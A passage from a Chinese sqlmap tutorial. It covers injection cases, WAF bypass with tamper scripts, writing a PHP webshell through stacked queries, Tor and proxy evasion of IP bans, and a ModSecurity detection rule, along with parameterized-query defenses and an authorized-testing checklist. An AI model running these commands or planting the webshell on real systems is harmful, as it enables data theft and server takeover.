- -D acuart -T users --dump --batch
复制代码
案例 2:POST JSON 注入 - # 目标: POST API 接口,JSON 参数存在注入
- # POST /api/search HTTP/1.1
- # Content-Type: application/json
- # {"keyword":"test","limit":10}
- # 保存为 request.txt,并在注入位置加 *
- # {"keyword":"test*","limit":10}
- sqlmap -r request.txt --batch --dbs
复制代码
案例 3:Cookie 注入(需 level ≥ 2) - sqlmap -u "http://target.com/index.php" \
- --cookie="session=abc123" --level=2 --batch
- # --level=2 才会测试 Cookie 中的参数
复制代码
案例 4:User-Agent 注入(需 level ≥ 3) - sqlmap -u "http://target.com/index.php" --level=3 --batch \
- --user-agent="Mozilla/5.0"
- # 或直接用 -p 指定参数
- sqlmap -u "http://target.com/index.php" \
- -p user-agent --user-agent="test" --batch
复制代码
案例 5:WAF 绕过(ModSecurity) - sqlmap -u "http://target.com/page.php?id=1" \
- --tamper=space2comment,randomcase,charencode \
- --random-agent \
- --delay=2 \
- --level=3 \
- --batch
复制代码
案例 6:提取所有库的 Schema 并保存 - sqlmap -u "http://target.com/page.php?id=1" \
- --schema --batch \
- --output-dir=./output/
- # 会在 ./output/ 下生成完整的数据库结构
复制代码
案例 7:利用堆叠查询写入 Webshell - # 前提:确认支持堆叠查询且 MySQL 有写入权限
- sqlmap -u "http://target.com/page.php?id=1" \
- --technique=S \
- --sql-query="SELECT '<?php system(\$_GET[cmd]); ?>' \
- INTO OUTFILE '/var/www/html/shell.php'"
复制代码
案例 8:时间盲注提取大数据 - # 时间盲注很慢,需要优化
- sqlmap -u "http://target.com/page.php?id=1" \
- --technique=T \
- --time-sec=2 \ # 缩短延时时间
- --threads=5 \ # 并发(小心触发 WAF)
- --no-cast \ # 跳过类型检测
- --hex # 用十六进制传输,避免字符集问题
复制代码
14. 检测与防御 SQL 注入
14.1 开发层面:根本防御 - # ============ 正确做法:参数化查询 ============
- # Python (MySQL)
- cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
- # Java (JDBC PreparedStatement)
- PreparedStatement ps = conn.prepareStatement(
- "SELECT * FROM users WHERE id = ?");
- ps.setInt(1, userId);
- # PHP (PDO)
- $stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
- $stmt->execute(['id' => $userId]);
- # Go (database/sql)
- db.Query("SELECT * FROM users WHERE id = ?", userId)
- # ============ 错误做法:字符串拼接 ============
- # ❌ 永远不要这样做
- query = "SELECT * FROM users WHERE id = " + user_id
- cursor.execute(query)
复制代码
14.2 防御层 - # 第一层:代码层(参数化查询)
- # → 这是唯一的根本解决方案
- # 第二层:输入验证
- # → 白名单验证 & 类型检查
- # → if (!is_numeric($id)) die("Invalid input");
- # 第三层:最小权限
- # → 应用账号不要用 root/sa
- # → SELECT 只需 SELECT 权限
- # → 撤销 FILE、EXECUTE 等危险权限
- # 第四层:WAF (Web Application Firewall)
- # → ModSecurity、Cloudflare、AWS WAF
- # → 可以阻挡 80%+ 的自动化扫描
- # 第五层:监控告警
- # → 监控异常 SQL 错误日志
- # → 监控大量 500 错误
复制代码
14.3 检测 sqlmap 流量
sqlmap 的默认流量有一些特征: - # 典型的 sqlmap UA(会被更新,仅供参考)
- User-Agent: sqlmap/1.8.x#stable (https://sqlmap.org)
- # URL 中常见的 sqlmap 测试特征
- ?parameter=1%20AND%201=1
- ?parameter=1'%20AND%20'1'='1
- ?parameter=1%20AND%20SLEEP(5)
- # 检测规则(ModSecurity 示例)
- SecRule REQUEST_URI|REQUEST_BODY "@rx (?i)\b(SELECT\s+IF\s*\(|SLEEP\s*\(|BENCHMARK\s*\()" \
- "id:100001,phase:2,deny,status:403,msg:'SQL Injection Attempt'"
复制代码
但注意:通过 --tamper、--random-agent、--delay 等参数,sqlmap 可以轻松绕过这些简单的特征检测。
15. 常见问题与排错
15.1 注入检测不到? - # 排查清单:
- ☐ 提高检测等级: --level=3 --risk=2
- ☐ 指定测试参数: -p 参数名
- ☐ 指定数据库类型: --dbms=mysql
- ☐ 添加必要认证: --cookie, --headers, --auth-cred
- ☐ 检查是否有 WAF: --identify-waf
- ☐ 尝试 tamper 绕过: --tamper=space2comment
- ☐ 提高响应超时: --timeout=30
- ☐ 使用代理抓包检查: --proxy="http://127.0.0.1:8080"
复制代码
15.2 能检测但无法提取数据? - # 原因和解决方法:
- # 问题 1: 字符集/编码问题
- sqlmap -u "..." --hex # 使用十六进制编码传输
- # 问题 2: 数据类型转换问题
- sqlmap -u "..." --no-cast # 关闭类型转换
- # 问题 3: 查询结果被截断
- sqlmap -u "..." --text-only # 只使用文本比较
- sqlmap -u "..." --no-escape # 关闭字符串转义
- # 问题 4: 时间盲注太慢导致超时
- sqlmap -u "..." --time-sec=1 # 降低延时检测时间
- sqlmap -u "..." --threads=5 # 增加并发线程
复制代码
15.3 被 WAF 封 IP 了? - # 方案 1: 延时 + 随机 UA
- --delay=5 --random-agent
- # 方案 2: 使用代理池
- --proxy-file=proxies.txt # 文件每行一个代理地址
- # 方案 3: 使用 Tor
- sudo systemctl start tor
- sqlmap -u "..." --tor --check-tor
- # 方案 4: 限制线程
- --threads=1
复制代码
15.4 sqlmap 常用调试技巧 - # 详细输出(3 是最详细)
- sqlmap -u "..." -v 3
- # 输出等级:
- # 0: 只显示 Python 回溯、错误和关键信息
- # 1: 同时显示信息和警告信息
- # 2: 同时显示调试信息
- # 3: 同时显示注入的 payload
- # 4: 同时显示 HTTP 请求
- # 5: 同时显示 HTTP 响应头
- # 6: 同时显示 HTTP 响应内容
- # 输出所有 HTTP 流量(最详细的调试)
- sqlmap -u "..." -v 6
- # 用 Burp 拦截查看 sqlmap 发出的实际请求
- sqlmap -u "..." --proxy="http://127.0.0.1:8080" -v 3
- # 测试 WAF 是否存在
- sqlmap -u "..." --identify-waf
复制代码
16. 总结与最佳实践
16.1 测试者检查清单 - ☐ 1. 获得明确的书面授权
- ☐ 2. 确认测试范围(IP、域名、时间段)
- ☐ 3. 先用 --dbs 等只读操作探测
- ☐ 4. 不要使用 --risk=3(可能修改数据)
- ☐ 5. 不要在生产环境使用 --os-shell
- ☐ 6. 控制请求速率(--delay),避免 DDoS
- ☐ 7. 记录所有测试操作和时间
- ☐ 8. 测试完成后提交报告
- ☐ 9. 不得将获取的数据用于非授权目的
复制代码
16.2 常用命令别名(加入 ~/.bashrc 或 ~/.zshrc) - alias sm='sqlmap'
- alias smu='sqlmap -u'
- alias smr='sqlmap -r'
- alias sm-batch='sqlmap --batch --random-agent'
- alias sm-dump='sqlmap --batch --dump'
- alias sm-proxy='sqlmap --proxy="http://127.0.0.1:8080"'
复制代码
16.3 与其他工具的配合
| 工具 | 配合方式 |
|---|
| Burp Suite | 用 Burp 抓包 → 导出到文件 → sqlmap -r 重放 | | nmap | nmap -p 80,443 --script http-sql-injection 先发现目标 | | gobuster/dirb | 发现 Web 路径后交给 sqlmap 测试参数 | | whatweb | 识别 Web 技术栈,帮助选择正确的 --dbms 和 --tamper | | Metasploit | sqlmap 获取凭证 → Metasploit 做后续渗透 |
16.4 学习资源 - # sqlmap 官方 Wiki
- https://github.com/sqlmapproject/sqlmap/wiki
- # 查看所有参数
- sqlmap --help # 基础帮助
- sqlmap -hh # 完整帮助(所有高级参数)
- # 查看 Tamper 脚本源码
- cat /usr/share/sqlmap/tamper/space2comment.py
复制代码
参考文献
- sqlmap 官方项目: https://github.com/sqlmapproject/sqlmap
- OWASP SQL Injection Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
- OWASP Testing Guide v4 - SQL Injection: https://owasp.org/www-project-web-security-testing-guide/
- MySQL 官方文档 - SQL Injection: https://dev.mysql.com/doc/refman/8.0/en/sql-injection.html
- PortSwigger Web Security Academy - SQL Injection: https://portswigger.net/web-security/sql-injection
- Clarke, J. (2012). SQL Injection Attacks and Defense (2nd ed.). Syngress.
作者注:本文涵盖 sqlmap 的完整使用方法,从基础安装到高级 Tamper 绕过。sqlmap 是一把双刃剑——在安全从业者手中是诊断利器,在攻击者手中是破坏工具。请务必在授权环境中使用本文知识,切莫触及法律红线。如果在学习过程中遇到问题,欢迎在评论区交流讨论! |